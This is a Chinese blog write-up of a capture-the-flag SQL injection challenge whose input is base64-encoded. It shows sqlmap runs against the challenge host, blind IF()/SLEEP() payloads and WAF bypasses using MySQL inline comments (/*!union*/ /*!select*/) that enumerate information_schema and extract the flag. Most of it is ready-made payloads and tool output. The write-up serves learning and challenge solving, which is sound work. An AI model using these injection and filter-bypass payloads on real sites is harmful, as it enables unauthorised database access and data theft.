翻到群里的小伙伴发出一道POST型SQL注入题,简单抓包判断出题目需要base64编码后才执行sql语句,为学习下SQL注入出题与闯关的思路+工作不是很忙,所以花点时间玩了一下,哈哈哈哈哈哈哈哈哈
1 function onSearch()2 {3 var pwd=document.forms[0].inText.value;4 $.base64.utf8encode =true;5 document.forms[0].inputText.value=$.base64.encode(pwd);6 document.forms[0].submit();7
**思路过程:**
首先抓包到sqlmap里面测试,这里用firefox的hackbar就可以了。明显看出表单有个隐藏字段提交的内容被base64编码过了,这类题目大多是出于为了让参赛者必须手工测试才这么做的。起初觉得这应该为难不了sqlmap,只要抓包加上–tamper base64encode扩展模块就可以了,后来发现居然只能读取到库名,加-V 5得到详细的playload,还是用sleep时间盲注判断的;what the hell?;
0x01 SQLMAP:
首次测试:列库名
inText=1111&inputText=JyBBTkQgNTY3MD1JRigoT1JEKE1JRCgoSUZOVUxMKENBU1QoREFUQUJBU0
UoKSBBUyBDSEFSKSwweDIwKSksMTIsMSkpPjEpLFNMRUVQKDUpLDU2NzApIEFORCAnRkt6SScgTElLRS
AnRkt6SQ%3D%3D
[18:39:54][TRAFFIC IN] HTTP response [#4613](200OK):
Content-length:1215Content-language: zh-CN
Uri: http://104.224.169.128:80/tasks/web12.php
Server:Apache/2.2.15(CentOS) DAV/2Connection: close
Date:Tue,19Apr201610:39:53GMT
Content-type: text/html
[18:39:55][INFO] retrieved: injecttest2
[18:39:55][DEBUG] performed 95 queries in694.98seconds
current database:‘injecttest2‘[18:39:55][INFO] fetched data logged to text files under ‘C:\Users\Administrato
r\.sqlmap\output\104.224.169.128‘
二次测试:无法找到表名
加-V后获取的完整回显包
sqlmap resumed the following injection point(s)fromstored session:---Parameter:#1*((custom) POST)
Type: AND/OR time-based blind
Title:MySQL>=5.0.12 AND time-based blind
Payload: inText=11111111&inputText=‘AND SLEEP(5) AND‘uYGj‘LIKE‘uYGj
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])---web server operating system:LinuxCentOS6.5web application technology:Apache2.2.15back-end DBMS:MySQL5.0.12available databases [1]:
[*] injecttest2
sqlmap resumed the following injection point(s)fromstored session:---Parameter:#1*((custom) POST)
Type: AND/OR time-based blind
Title:MySQL>=5.0.12 AND time-based blind
Payload: inText=11111111&inputText=‘AND SLEEP(5) AND‘uYGj‘LIKE‘uYGj
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])---web server operating system:LinuxCentOS6.5web application technology:Apache2.2.15back-end DBMS:MySQL5.0.12No tables found
sqlmap resumed the following injection point(s)fromstored session:---Parameter:#1*((custom) POST)
Type: AND/OR time-based blind
Title:MySQL>=5.0.12 AND time-based blind
Payload: inText=11111111&inputText=‘AND SLEEP(5) AND‘uYGj‘LIKE‘uYGj---web server operating system:LinuxCentOS6.5web application technology:Apache2.2.15back-end DBMS:MySQL5.0.12No tables found
提取出SQLMAP的Playload
1 ‘AND 5670=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),12,1))>1),SLEEP(5),5670) AND‘FKzI‘LIKE‘FKzI
0x02 手工测试
了不起手工闭合sql语句的单引号再注入嘛。哼哼哼;
(1)本地测试
摸索了下SQLMAP的playload,查了if()、ord()、mid()、IFNULL()、CAST()等函数用法;
简化sqlmap用sleep()函数,改成判断对错的形式,对比AND 5670=5670的页面返回页面内容长度判断是否存在注入,盲注猜测出数据库名,本地测试测试效果内容如下;
1 mysql>select* from the_flag_table where the_flag_content like ‘%‘ AND 5670=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>116),5671,5670);2 +----------------------+-----------------+
3 | the_flag_content | the_value123456 |
4 +----------------------+-----------------+
5 | flags{Hello,Iamflags|1|
6 | flags2(hello,test)|2|
7 +----------------------+-----------------+
8 2 rows inset(0.00sec) 9 mysql>select* from the_flag_table where the_flag_content like ‘%‘ AND 5670=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>116),5670,5671);10 Emptyset(0.00 sec)
检测数据库名称长度;
1 select* from the_flag_table where the_flag_content like ‘%‘union select (LENGTH((IFNULL(CAST(DATABASE() AS CHAR),0x20)))>11),222--
使用MID()函数查询出每一位的ASCII码是否正确;
‘ AND 5670=IF((ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),N,1))>105),5670,5671)--
**得出结果:**
库:injecttest2
用户:[email protected]
(2) 然并卵:
在我测试IF函数注入测得如火如荼的时候,突然群里少年提醒IF函数注入这种情况只能查询出DATABASE() 、USER() 和 VERSION(),即使可以查也无法跨表查询也无法跨表也无法也无….;
此时此刻我的内心是崩溃的。。。
0x03 绕过关键字测试:
只好走回老路,收集mysql注入绕过的相关文章,判断是什么被检测,判断思路;
(1)sql语句某个关键字被过滤如union、select等;
(2)特殊符号被过滤如空格、单引号、等号等;
(3)过滤某段字符串;
测试关键字、符号等情况都未触发检测策略,而当输入“’ union select 1– ”时就会触发到检测策略;
随机找相关文章逐一测试,按照下面两篇文章中提到的绕过IDS/WAF方法测试,测出内联注释的方式可以绕过。而注入点已是base64编码所以文章中的编码可以放弃使用:
《深入了解SQL注入绕过waf和过滤机制》
http://drops.wooyun.org/tips/968
Avoiding Keywords
http://websec.ca/kb/sql_injection
内联注释playload
以下是我运用内联注释的过程Playload;
字段说明
相关的库名 :injecttest2
库名编码后:696e6a6563747465737432
相关的表名:article,__key___in__this
”__key___in__this“表名编码后:0x5f5f6b65795f5f5f696e5f5f74686973
相关字段:keystr
内容获取:Key:d8b3bc4ecd8791fb
‘ order by3--
**库名**
‘/*!union*/ /*!select*/ version(),2,3--‘/*!union*/ /*!select*/ (/*!select*/ schema_name from information_schema.schemata limit 1,1),2,3--
**表名**
‘/*!union*/ /*!select*/ (/*!select*/ table_name from information_schema.tables where table_schema=0x696e6a6563747465737432 /*!*/limit 1,1),2,3--
**字段名**
‘/*!union*/ /*!select*/ (/*!select*/ column_name from information_schema.columns where table_name=0x5f5f6b65795f5f5f696e5f5f74686973 limit 0,1),2,3--
**flag获取**
‘/*!union*/ /*!select*/ (/*!select*/ keystr from __key___in__this limit 0,1),2,3--
懵逼中
在测试的时候有人也用另外一种注释方法绕过了,也把过程补充上来吧。下面是三张实例图;
‘ order by3--‘ union select/*!*/1,2,3--
**库名**‘ union select/*!*/(select/*!*/schema_name from information_schema.schemata limit 0,1),2,3--
‘union select/*!*/(select/*!*/schema_name/*!*/from information_schema.schemata/*!*/limit 1,1),2,3--
**表名**
‘union select/*!*/(select/*!*/table_name/*!*/from information_schema.tables where table_schema=0x696e6a6563747465737432/*!*/limit 1,1),2,3--
**字段名**
‘union select/*!*/(select/*!*/column_name/*!*/from information_schema.columns where table_name=0x5f5f6b65795f5f5f696e5f5f74686973 /*!*/limit 0,1),2,3--
**flag获取**
‘union select/*!*/(select/*!*/keystr/*!*/from __key___in__this/*!*/limit 0,1),2,3--
Playload
inText=1&inputText=%JyB1bmlvbiBzZWxlY3QvKiEqLyhzZWxlY3QvKiEqL3NjaGVtYV9uYW1lLyohKi9mcm9tLyohKi9pbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEvKiEqL2xpbWl0LyohKi8xLDEpLDIsMy0tIC0=
相关实例:
原文:http://www.cnblogs.com/17bdw/p/5411991.html